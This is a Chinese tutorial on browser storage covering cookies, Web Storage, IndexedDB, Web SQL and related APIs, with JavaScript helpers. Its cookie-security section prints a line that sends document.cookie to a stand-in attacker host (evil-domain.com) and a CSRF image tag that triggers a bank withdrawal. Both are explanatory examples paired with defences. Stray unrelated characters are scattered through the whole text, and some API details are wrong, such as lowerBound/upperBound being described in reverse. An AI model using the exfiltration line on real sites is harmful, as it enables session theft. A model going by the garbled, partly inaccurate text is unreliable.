在做項(xiàng)目的過程中,經(jīng)常需要把數(shù)據(jù)存儲在本地馅袁,便于提高用戶的體驗(yàn)效果等域慷,如權(quán)限驗(yàn)證的token、用戶信息汗销、數(shù)據(jù)埋點(diǎn)犹褒、客戶端皮膚語言配置等等。因此大溜,向總結(jié)一篇詳細(xì)的文章來歸納瀏覽器的存儲技術(shù)化漆。
一、前言
首先钦奋,看下圖谷歌瀏覽器控制臺的 Application 一欄座云,我們可以發(fā)現(xiàn)左側(cè)一列基本涵蓋了瀏覽器的所有存儲方式疙赠,因此,下面講針對這一塊進(jìn)行歸納整理朦拖。
對瀏覽器的所有本地存儲技術(shù)圃阳,可以劃分為如下圖
二、Cookie
1. 介紹
Cookie璧帝,也稱HTTP Cookie
捍岳,是服務(wù)器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),并在瀏覽器下次向同一臺服務(wù)器發(fā)起請求時(shí)睬隶,攜帶并發(fā)送到服務(wù)器上锣夹。通常,用于告知服務(wù)器兩個(gè)請求是否來自同個(gè)瀏覽器苏潜,如用戶的登錄狀態(tài)银萍、首選項(xiàng)等。從底層上看恤左,它是HTTP協(xié)議的一種擴(kuò)展實(shí)現(xiàn)贴唇。
2. 組成結(jié)構(gòu)
[name] [value] [path] [domain] [expires] [secure] [httponly]
[鍵] [值] [路徑] [所屬域] [過期時(shí)間] [secure flag] [httponly flag]
name=value
是必選項(xiàng),其它都是可選項(xiàng)
name:一個(gè)唯一確定的cookie名稱飞袋。通常來講cookie的名稱是不區(qū)分大小寫的戳气。
value:存儲在cookie中的字符串值。最好為cookie的name
和value
進(jìn)行URI編碼
path:在指定路徑的時(shí)候巧鸭,凡是來自同一服務(wù)器瓶您,URL里有相同路徑的所有頁面都可以共享cookie。以字符 %x2F ("/")
作為路徑分隔符蹄皱,子路徑也會被匹配览闰。如,Path=/docs
巷折,則docs/test
可以共享使用/docs
頁面創(chuàng)建的cookie压鉴。
domain:cookie對于哪個(gè)域是有效的。所有向該域發(fā)送的請求中都會包含這個(gè)cookie信息锻拘。如果不指定油吭,默認(rèn)為 origin,不包含子域名署拟。如果設(shè)置 Domain=mozilla.org
婉宰,則 Cookie 也包含在子域名中(如developer.mozilla.org
)。
expires:失效時(shí)間推穷,表示cookie
何時(shí)應(yīng)該被刪除的時(shí)間戳(也就是心包,何時(shí)應(yīng)該停止向服務(wù)器發(fā)送這個(gè)cookie
)。如果不設(shè)置這個(gè)時(shí)間戳馒铃,瀏覽器會在頁面關(guān)閉時(shí)即將刪除所有cookie
蟹腾;不過也可以自己設(shè)置刪除時(shí)間痕惋。這個(gè)值是GMT時(shí)間格式,如果客戶端和服務(wù)器端時(shí)間不一致娃殖,使用expires
就會存在偏差值戳。
max-age:與expires作用相同,用來告訴瀏覽器此cookie
多久過期(單位是秒)炉爆,而不是一個(gè)固定的時(shí)間點(diǎn)堕虹。正常情況下,max-age
的優(yōu)先級高于expires芬首。
Secure: 安全標(biāo)志赴捞,指定后,只能在HTTPS
連接中被瀏覽器傳遞到服務(wù)器端進(jìn)行會話驗(yàn)證衩辟,如果是HTTP
連接則不會傳遞該信息螟炫。就算設(shè)置了secure
屬性也并不代表他人不能看到你機(jī)器本地保存的cookie
信息波附,所以不要把重要信息放cookie
艺晴。這項(xiàng)設(shè)置通常在服務(wù)器端設(shè)置。
HttpOnly: 告知瀏覽器不允許通過腳本document.cookie
去更改這個(gè)值掸屡,同樣這個(gè)值在document.cookie
中也不可見封寞。但在http
請求仍然會攜帶這個(gè)cookie
。注意這個(gè)值雖然在腳本中不可獲取仅财,但仍然在瀏覽器安裝目錄中以文件形式存在狈究。這項(xiàng)設(shè)置通常在服務(wù)器端設(shè)置。
SameSite:Cookie
允許服務(wù)器要求某個(gè)cookie
在跨站請求時(shí)不會被發(fā)送盏求,從而可以阻止跨站請求偽造攻擊(CSRF)抖锥。有三個(gè)值:None(瀏覽器會在同站請求、跨站請求下繼續(xù)發(fā)送 cookies碎罚,不區(qū)分大小寫)磅废、Strict(瀏覽器將只在訪問相同站點(diǎn)時(shí)發(fā)送 cookie)、Lax(與 Strict 類似荆烈,但用戶從外部站點(diǎn)導(dǎo)航至URL時(shí)(例如通過鏈接)除外拯勉。)
3. 生命周期
會話期 Cookie:瀏覽器關(guān)閉后會自動(dòng)被刪除,即僅在會話期有效憔购。會話期Cookie不需要指定過期時(shí)間(Expires
)或者有效期(Max-Age
)宫峦。
注意:有些瀏覽器提供恢復(fù)會話功能,即關(guān)閉瀏覽器的情況下玫鸟,會話期的
cookie
仍被保存导绷,這導(dǎo)致cookie
生命周期無限延長。
持久性 Cookie:生命周期取決于過期時(shí)間(Expires)或有效期(Max-Age)指定的一段時(shí)間屎飘。
注意:當(dāng)Cookie的過期時(shí)間被設(shè)定時(shí)妥曲,設(shè)定的日期和時(shí)間只與客戶端相關(guān)账蓉,而不是服務(wù)端。所以當(dāng)訪問了跨時(shí)區(qū)的服務(wù)器時(shí)逾一,容易存在誤差铸本。
4. 優(yōu)點(diǎn)
Cookie的API很早定義并實(shí)現(xiàn),所以基本兼容所有的主流瀏覽器遵堵。
5. 缺點(diǎn)
1. 存儲容量小箱玷。雖然不同瀏覽器的存儲量不同,但基本都在4KB左右陌宿。
2. 浪費(fèi)帶寬锡足。因?yàn)闉g覽器每次請求的請求頭都會攜帶cookie,若cookie信息過多時(shí)壳坪,會影響資源的加載效率舶得,浪費(fèi)帶寬資源。
3. 存儲格式限制爽蝴。只能存儲字符串沐批。
4. 安全問題。如果cookie存放著用戶的敏感信息且沒有加密時(shí)蝎亚,如果cookie被竊取到九孩,攻擊者可以利用xss對cookie進(jìn)行覆蓋,盜用用戶賬號发框。
5. 用戶設(shè)置禁用cookie躺彬。第三方cookie的濫用,高端用戶就會開啟禁用cookie梅惯,這時(shí)候設(shè)置cookie前宪拥,還需檢測用戶是否支持cookie,比較麻煩铣减。
6. 操作
cookie主要有三個(gè)操作:讀取她君、寫入、刪除徙歼,但是處理起來非常繁瑣犁河,因?yàn)閏ookie的key和value都需要使用encodeURIComponent
進(jìn)行URI編碼,所以讀取的時(shí)候魄梯,需要用decodeURIComponent
進(jìn)行解碼桨螺。因此,封裝成一個(gè)操作對象酿秸,如下灭翔。
對于永久cookie我們用了
Fri, 31 Dec 9999 23:59:59 GMT
作為過期日。如果你不想使用這個(gè)日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT
var CookieUtil = {
// 獲取cookie值
getItem: function (sKey) {
return (
decodeURIComponent(
document.cookie.replace(
new RegExp(
'(?:(?:^|.*;)\\s*' +
encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') +
'\\s*\\=\\s*([^;]*).*$)|^.*$',
),
'$1',
),
) || null
);
},
// 設(shè)置cookie
setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
return false;
}
var sExpires = '';
if (vEnd) {
switch (vEnd.constructor) {
case Number:
sExpires =
vEnd === Infinity ? '; expires=Fri, 31 Dec 9999 23:59:59 GMT' : '; max-age=' + vEnd;
break;
case String:
sExpires = '; expires=' + vEnd;
break;
case Date:
sExpires = '; expires=' + vEnd.toUTCString();
break;
default:
sExpires = '';
}
}
document.cookie =
encodeURIComponent(sKey) +
'=' +
encodeURIComponent(sValue) +
sExpires +
(sDomain ? '; domain=' + sDomain : '') +
(sPath ? '; path=' + sPath : '') +
(bSecure ? '; secure' : '');
return true;
},
// 刪除已有cookie
removeItem: function (sKey, sPath, sDomain) {
if (!sKey || !this.hasItem(sKey)) {
return false;
}
document.cookie =
encodeURIComponent(sKey) +
'=; expires=Thu, 01 Jan 1970 00:00:00 GMT' +
(sDomain ? '; domain=' + sDomain : '') +
(sPath ? '; path=' + sPath : '');
return true;
},
// 判斷是否存在這個(gè)cookie
hasItem: function (sKey) {
return new RegExp(
'(?:^|;\\s*)' + encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') + '\\s*\\=',
).test(document.cookie);
},
// 獲取所有cookie的key
keys: function () {
var aKeys = document.cookie
.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, '')
.split(/\s*(?:\=[^;]*)?;\s*/);
for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
}
return aKeys;
},
};
7. 安全
會話劫持和XSS
如果攻擊者獲取到你的cookie信息肝箱,只需要在頁面添加(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
這句代碼哄褒,就可以訪問到你的信息。
解決方法:通過設(shè)置HttpOnly
可一定程度上煌张,緩解此類攻擊呐赡。
跨站請求偽造CSRF
如果你登陸了你的銀行賬戶并且cookie
還有效,然后你看到一個(gè)有意思的危險(xiǎn)網(wǎng)站骏融,點(diǎn)擊進(jìn)去链嘀,里面剛好有一張圖片<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
,這時(shí)候就利用了你的cookie
信息档玻,你以為在加載圖片怀泊,實(shí)際向銀行發(fā)送了一個(gè)轉(zhuǎn)帳的請求。結(jié)果就是误趴,你的錢都沒了霹琼。
解決方法:給敏感信息較短的聲明周期;敏感操作要慎重凉当。
cookie防護(hù)
- cookie不要存放敏感信息
- 加防篡改驗(yàn)證碼枣申,給登錄加個(gè)隨機(jī)驗(yàn)證碼
- 對cookie加密
- 強(qiáng)制要求開啟HTTPS
- 對重要值加
HttpOnly
參考鏈接
MDN-什么是cookie
MDN-Document.cookie用法
淺談cookie安全
前端持久化之瀏覽器存儲技術(shù)
三、Web Storage
Web Storage
主要由local storage
和session storage
組成纤怒,那么糯而,相比cookie,Web Storage
有什么優(yōu)勢呢泊窘?
1. 減少網(wǎng)絡(luò)流量
請求一次數(shù)據(jù)保存后,可以避免再次向服務(wù)器請求數(shù)據(jù)像寒,減少不必要的請求烘豹,并且不必在服務(wù)器和瀏覽器之間來回傳遞。
2. 快速顯示數(shù)據(jù)
無需等待加載數(shù)據(jù)诺祸,使用緩存立即渲染頁面携悯,提高用戶體驗(yàn)效果。
3. 存儲空間更大
IE8下每個(gè)獨(dú)立的存儲空間為10M筷笨,其他瀏覽器實(shí)現(xiàn)略有不同憔鬼,但都比Cookie要大很多。
4. 存儲內(nèi)容不會發(fā)送至服務(wù)器
Cookie的內(nèi)容會隨請求一并發(fā)送給服務(wù)器胃夏,造成帶寬浪費(fèi)轴或;而web storage
只存儲在本地,不會跟服務(wù)器有任何交互仰禀。
5. 更簡單易用的接口
web storage
提供了添加照雁、刪除、獲取數(shù)據(jù)的接口答恶。
6. 獨(dú)立存儲空間
每個(gè)域(包括子域)有獨(dú)立的存儲空間饺蚊,各個(gè)存儲空間是完全獨(dú)立的萍诱,因此不會造成數(shù)據(jù)混亂。
1. Local Storage
locaStorage
在瀏覽器端通過鍵值對存儲數(shù)據(jù)污呼,雖然localStorage只能存儲字符串裕坊,但它也可以存儲字符串化的JSON數(shù)據(jù)。IE8+支持燕酷,每個(gè)域名限制5M碍庵。
通過localStorage
存儲的數(shù)據(jù)時(shí)永久性的,除非我們使用removeItem
來刪除或者用戶通過設(shè)置瀏覽器配置來刪除悟狱,否則數(shù)據(jù)會一直保留在用戶的電腦上静浴,永不過期。
localStorage
的作用域只有同源才能互相共享數(shù)據(jù)挤渐,同時(shí)也受瀏覽器的限制苹享。
2. Session Storage
與local storage
差不多,唯一的區(qū)別就是浴麻,Session Storage
只存儲當(dāng)前會話頁的數(shù)據(jù)得问,且只有當(dāng)用戶關(guān)閉當(dāng)前會話頁或?yàn)g覽器時(shí),數(shù)據(jù)才會被清除软免,但是用戶刷新會話頁仍能保存數(shù)據(jù)宫纬。
3. 操作
local storage
和session storage
的API基本差不多,所以可以對其兩個(gè)進(jìn)行封裝膏萧,代碼如下漓骚,
function createStorage(storage = window.localStorage) {
return {
get: (key) => {
return storage.getItem(key);
},
/**
* 讀取一個(gè)對象(使用JSON.parse解析)
*/
getObject: (key) => {
const value = storage.getItem(key);
let res;
try {
res = JSON.parse(value);
} catch (e) {
res = {};
}
return res;
},
set: (key, value) => {
storage.setItem(key, value);
},
/**
* 設(shè)置一個(gè)對象(使用JSON.stringify序列化)
*/
setObject: (key, value) => {
storage.setItem(key, JSON.stringify(value));
},
remove: (key) => {
return storage.removeItem(key);
},
// 移除所有數(shù)據(jù)
clear: () => {
return storage.clear();
},
};
}
export const localStorage = createStorage(window.localStorage);
export const sessionStorage = createStorage(window.sessionStorage);
四、本地?cái)?shù)據(jù)庫
HTML5 indexedDB
和Web SQL Database
都是本地?cái)?shù)據(jù)庫數(shù)據(jù)存儲榛泛。Web SQL Database
數(shù)據(jù)庫要出來的更早蝌蹂,但是從2010年11月18日W3C宣布舍棄Web SQL database
草案開始,就已經(jīng)注定Web SQL Database
數(shù)據(jù)庫是明日黃花曹锨。
IndexedDB
1. 相關(guān)概念
IndexedDB
是一種底層 API孤个,用于在客戶端存儲大量的結(jié)構(gòu)化數(shù)據(jù)(也包括文件/二進(jìn)制大型對象(blobs))。該 API 使用索引實(shí)現(xiàn)對數(shù)據(jù)的高性能搜索沛简。
IndexedDB
是一個(gè)事務(wù)型數(shù)據(jù)庫系統(tǒng)齐鲤,是一個(gè)基于 JavaScript 的面向?qū)ο髷?shù)據(jù)庫。IndexedDB
允許您存儲和檢索用鍵索引的對象椒楣;可以存儲結(jié)構(gòu)化克隆算法支持的任何對象给郊。您只需要指定數(shù)據(jù)庫模式,打開與數(shù)據(jù)庫的連接撒顿,然后檢索和更新一系列事務(wù)丑罪。
IndexedDB
也遵守同源策略。同時(shí),使用 IndexedDB
執(zhí)行的操作是異步執(zhí)行的吩屹,以免阻塞應(yīng)用程序跪另。
那么,IndexedDB
數(shù)據(jù)存儲在哪呢煤搜?一般是存儲在本地磁盤上免绿,瀏覽器會計(jì)算分配給web數(shù)據(jù)存儲的空間大小,當(dāng)超過空間大小時(shí)擦盾,則進(jìn)行刪除淆党。其中样漆,數(shù)據(jù)存儲的類型劃分為持久化存儲(需用戶手動(dòng)刪除)和臨時(shí)存儲(超過被分配的空間大小則自動(dòng)清理)。
你可能會想那它的存儲大小限制呢?瀏覽器的存儲限制有兩個(gè)串前,分別是全局限制和組限制璃岳。全局限制的空間大小取決于你的磁盤空間大小哀九,組限制的空間大小取決于全局限制的20%蛹疯,但它至少有10 MB,最大為2GB症见。
何為組限制喂走?例如,mozilla.org谋作、www.mozilla.org和joe.blogs.mozilla.org
可聚合為同組芋肠,他們共用同一個(gè)組空間。
2. 基本語法
1)打開數(shù)據(jù)庫
var db;
const dbName = 'project';
const version = 1;
// 創(chuàng)建/打開數(shù)據(jù)庫
// dbName 數(shù)據(jù)庫名
// version 版本號遵蚜,只能是整數(shù)
const DBOpenRequest= IndexedDB.open(dbName , version)
DBOpenRequest.onerror = function() {
// 創(chuàng)建數(shù)據(jù)庫失敗時(shí)的回調(diào)函數(shù)
}
DBOpenRequest.onsuccess = function() {
// 創(chuàng)建數(shù)據(jù)庫成功時(shí)的回調(diào)函數(shù)
db = DBOpenRequest.result;
}
// 執(zhí)行于:數(shù)據(jù)庫首次創(chuàng)建版本帖池,或者window.indexedDB.open傳遞的新版本(版本數(shù)值要比現(xiàn)在的高)
DBOpenRequest.onupgradeneededd = function(e) {
// 當(dāng)數(shù)據(jù)庫改變時(shí)的回調(diào)函數(shù)
// 通常對主鍵,字段等進(jìn)行重定義
}
2)創(chuàng)建主鍵和字段
一般在對數(shù)據(jù)庫增刪查改數(shù)據(jù)之前谬晕,我們需要先建表碘裕,而IndexedDB
則需要先建存儲對象objectStore
。
常用API(具體可查看MDN-IDBObjectStore)
-
objectStore.add()
向數(shù)據(jù)庫添加數(shù)據(jù) -
objectStore.delete()
刪除數(shù)據(jù) -
objectStore.clear()
清空數(shù)據(jù)庫 -
objectStore.put()
可以替換數(shù)據(jù)
DBOpenRequest.onupgradeneeded = function(event) {
var db = event.target.result;
// 創(chuàng)建一個(gè)數(shù)據(jù)庫存儲對象
var objectStore = db.createObjectStore(dbName, {
keyPath: 'id',
autoIncrement: true
});
// 定義存儲對象的數(shù)據(jù)項(xiàng)
objectStore.createIndex('id', 'id', {
unique: true
});
objectStore.createIndex('name', 'name');
objectStore.createIndex('begin', 'begin');
objectStore.createIndex('end', 'end');
objectStore.createIndex('person', 'person');
objectStore.createIndex('remark', 'remark');
};
其中攒钳,objectStore.createIndex(indexName, keyPath, objectParameters)
-
indexName
:創(chuàng)建的索引名稱,可以使用空名稱作為索引雷滋; -
keyPath
:索引使用的關(guān)鍵路徑不撑,可以使用空的keyPath
, 或者keyPath
傳為數(shù)組keyPath
也是可以的; -
objectParameters
:可選參數(shù)晤斩。常用參數(shù)之一是unique焕檬,表示該字段值是否唯一,不能重復(fù)澳泵。
3)添加數(shù)據(jù)
前面提過了实愚,IndexedDB
是事務(wù)型數(shù)據(jù)庫,所以數(shù)據(jù)庫的操作都是基于事務(wù)(transaction)來進(jìn)行,于是腊敲,無論是添加編輯還是刪除數(shù)據(jù)庫击喂,我們都要先建立一個(gè)事務(wù)(transaction),然后才能繼續(xù)下面的操作碰辅。
let transaction = db.transaction([dbName], "readwrite");
// 打開已經(jīng)存儲的數(shù)據(jù)對象
let objectStore = transaction.objectStore(dbName);
// 添加到數(shù)據(jù)對象中
let objectStoreRequest = objectStore.add(newItem);
// 添加成功回調(diào)函數(shù)
objectStoreRequest.onsuccess = function(event) {
....
};
4)編輯數(shù)據(jù)
原理:先根據(jù)id獲得對應(yīng)行的存儲對象懂昂,方法為objectStore.get(id)
,然后在原存儲對象上進(jìn)行替換没宾,再使用objectStore.put(record)
進(jìn)行數(shù)據(jù)庫數(shù)據(jù)替換凌彬。
function edit(id, data) {
// 編輯數(shù)據(jù)
let transaction = db.transaction([dbName], "readwrite");
// 打開已經(jīng)存儲的數(shù)據(jù)對象
let objectStore = transaction.objectStore(dbName);
// 獲取存儲的對應(yīng)鍵的存儲對象
let objectStoreRequest = objectStore.get(id);
// 獲取成功后替換當(dāng)前數(shù)據(jù)
objectStoreRequest.onsuccess = function(event) {
// 當(dāng)前數(shù)據(jù)
let myRecord = objectStoreRequest.result;
// 遍歷替換
for (let key in data) {
if (typeof myRecord[key] != 'undefined') {
myRecord[key] = data[key];
}
}
// 更新數(shù)據(jù)庫存儲數(shù)據(jù)
objectStore.put(myRecord);
}
5)刪除數(shù)據(jù)
function (id) {
// 打開已經(jīng)存儲的數(shù)據(jù)對象
let objectStore = db.transaction([dbName], "readwrite").objectStore(dbName);
// 直接刪除
let objectStoreRequest = objectStore.delete(id);
// 刪除成功后
objectStoreRequest.onsuccess = function() {
...
};
}
6)數(shù)據(jù)獲取
indexedDB數(shù)據(jù)庫的獲取使用“游標(biāo)API”(Cursor APIs)和“范圍API”(Key Range APIs)。
讀取全部數(shù)據(jù)
let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存儲對象的openCursor()打開游標(biāo)
objectStore.openCursor().onsuccess = function(event) {
let cursor = event.target.result;
if (cursor) {
// cursor.value就是數(shù)據(jù)對象
console.log(cursor.value);
// 游標(biāo)沒有遍歷完循衰,繼續(xù)
cursor.continue();
} else {
// 如果全部遍歷完畢...
}
}
讀取某個(gè)范圍內(nèi)的數(shù)據(jù)
// 確定打開的游標(biāo)的主鍵范圍
// key > x && ≤ y
// 表示id從4~10之間的數(shù)據(jù)铲敛,true的時(shí)候不能和范圍邊界相等,false則需要相等
let keyRangeValue = IDBKeyRange.bound(4, 10, true, false);
let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存儲對象的openCursor()打開游標(biāo)
objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
let cursor = event.target.result;
if (cursor) {
// cursor.value就是數(shù)據(jù)對象
console.log(cursor.value);
// 游標(biāo)沒有遍歷完会钝,繼續(xù)
cursor.continue();
} else {
// 如果全部遍歷完畢...
}
}
其中伐蒋,bound()
范圍內(nèi),only()
僅僅是顽素,lowerBound()
小于某值咽弦,upperBound()
大于某值
7)數(shù)據(jù)庫關(guān)閉和刪除
db.close(); // 關(guān)閉數(shù)據(jù)庫連接
window.indexedDB.deleteDatabase(dbName); // 刪除數(shù)據(jù)庫
3. 局限性
1)存儲限制
indexedDB存儲比較適合鍵值對較多的數(shù)據(jù),且無需數(shù)據(jù)轉(zhuǎn)換胁出;web Storage
每次寫入和寫出都要字符串化和對象化型型。
2)兼容性
indexedDB
存儲IE10+支持,web Storage
存儲IE8+支持全蝶,后者兼容性更好闹蒜。
3)擴(kuò)展性
indexedDB
存儲可以在workers
中使用,便于進(jìn)行PWA開發(fā)抑淫,但是web Storage
好像不行绷落。
Web SQL
都廢棄了,沒啥好學(xué)的始苇,下面內(nèi)容可以跳過...
indexedDB
和Web SQL Database
對比內(nèi)容:
WebSQL | IndexedDB | |
---|---|---|
優(yōu)點(diǎn) | 真正意義上的關(guān)系型數(shù)據(jù)庫砌烁,類似SQLite(SQLite是遵守ACID的輕型的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)) | 1. 允許對象的快速索引和搜索,因此在Web應(yīng)用程序場景中催式,您可以非澈恚快速地管理數(shù)據(jù)以及讀取/寫入數(shù)據(jù)。2. 由于是NoSQL數(shù)據(jù)庫荣月,因此我們可以根據(jù)實(shí)際需求設(shè)定我們的JavaScript對象和索引管呵。3. 在異步模式下工作,每個(gè)事務(wù)具有適度的粒狀鎖哺窄。這允許您在JavaScript的事件驅(qū)動(dòng)模塊內(nèi)工作捐下。 |
不足 | 規(guī)范不支持啦账锹;由于使用SQL語言,因此我們需要掌握和轉(zhuǎn)換我們的JavaScript對象為對應(yīng)的查詢語句坷襟;非對象驅(qū)動(dòng)奸柬。 | 如果你的世界觀里面只有關(guān)系型數(shù)據(jù)庫,恐怕不太容易理解啤握。 |
位置 | 包含行和列的表鸟缕。 | 包含JavaScript對象和鍵的存儲對象。 |
查詢機(jī)制 | SQL | Cursor APIs排抬,Key Range APIs懂从,應(yīng)用程序代碼 |
事務(wù) | 鎖可以發(fā)生在數(shù)據(jù)庫,表蹲蒲,行的“讀寫”時(shí)候番甩。 | 鎖可以發(fā)生在數(shù)據(jù)庫版本變更事務(wù),或是存儲對象“只讀”和“讀寫”事務(wù)時(shí)候届搁。 |
事務(wù)提交 | 事務(wù)創(chuàng)建是顯式的缘薛。默認(rèn)是回滾,除非我們調(diào)用提交卡睦。 | 事務(wù)創(chuàng)建是顯式的宴胧。默認(rèn)是提交,除非我們調(diào)用中止或有一個(gè)錯(cuò)誤沒有被捕獲表锻。 |
參考鏈接
HTML5 indexedDB前端本地存儲數(shù)據(jù)庫實(shí)例教程
MDN-IndexedDB
MDN-IndexedDB 瀏覽器存儲限制和清理標(biāo)準(zhǔn)
五恕齐、Cache API
這是一個(gè)實(shí)驗(yàn)中的功能,目前暫時(shí)只有chrome和Firefox瀏覽器部分支持瞬逊,其他瀏覽器還不太行显歧,所以不在這里做過多擴(kuò)展說明确镊,想了解可以看這個(gè)鏈接MDN-Cache士骤。
六、其他
1)Manifest
Web應(yīng)用程序清單在一個(gè)JSON文本文件中提供有關(guān)應(yīng)用程序的信息(如名稱蕾域,作者拷肌,圖標(biāo)和描述),是漸進(jìn)式Web應(yīng)用程序(PWA)的Web技術(shù)集合的一部分旨巷。manifest 的目的是將Web應(yīng)用程序安裝到設(shè)備的主屏幕廓块,為用戶提供更快的訪問和更豐富的體驗(yàn)。
部署到HTML頁面的方式契沫,在文件頭添加一個(gè)鏈接
<link rel="manifest" href="/manifest.json">
具體使用參數(shù)請參考manifest參數(shù)
2)Application Cache:通過manifest
配置文件在本地有選擇性地存儲javascript
、css
昔汉、圖片等靜態(tài)資源文件的文件緩存機(jī)制懈万,已廢棄拴清。
3)Cache Storage:在ServiceWorker
規(guī)范中定義的,用于保存每個(gè)ServiceWorker
(聲明的Cache
對象会通,未來可能替代Application Cache
的離線方案口予。 之后,會整理一篇關(guān)于ServiceWorker
的文章涕侈。
4)Flash緩存:主要基于Flash沪停,具有讀寫瀏覽器本地目錄的功能。
七裳涛、適用場景
Web Storage
:如果是瀏覽器主窗體線程開發(fā)木张,同時(shí)存儲數(shù)據(jù)結(jié)構(gòu)簡單;
IndexedDB
:如果數(shù)據(jù)結(jié)構(gòu)比較復(fù)雜,同時(shí)對瀏覽器兼容性沒什么要求端三,可以考慮使用indexedDB
舷礼;如果是在Service Workers
中開發(fā)應(yīng)用,只能使用indexedDB數(shù)據(jù)存儲郊闯。
參考鏈接
MDN-客戶端存儲
MDN-manifest
chrome-devtools的瀏覽器存儲
聊一聊常見的瀏覽器端數(shù)據(jù)存儲方案
突破本地離線存儲5M限制的JS庫localforage簡介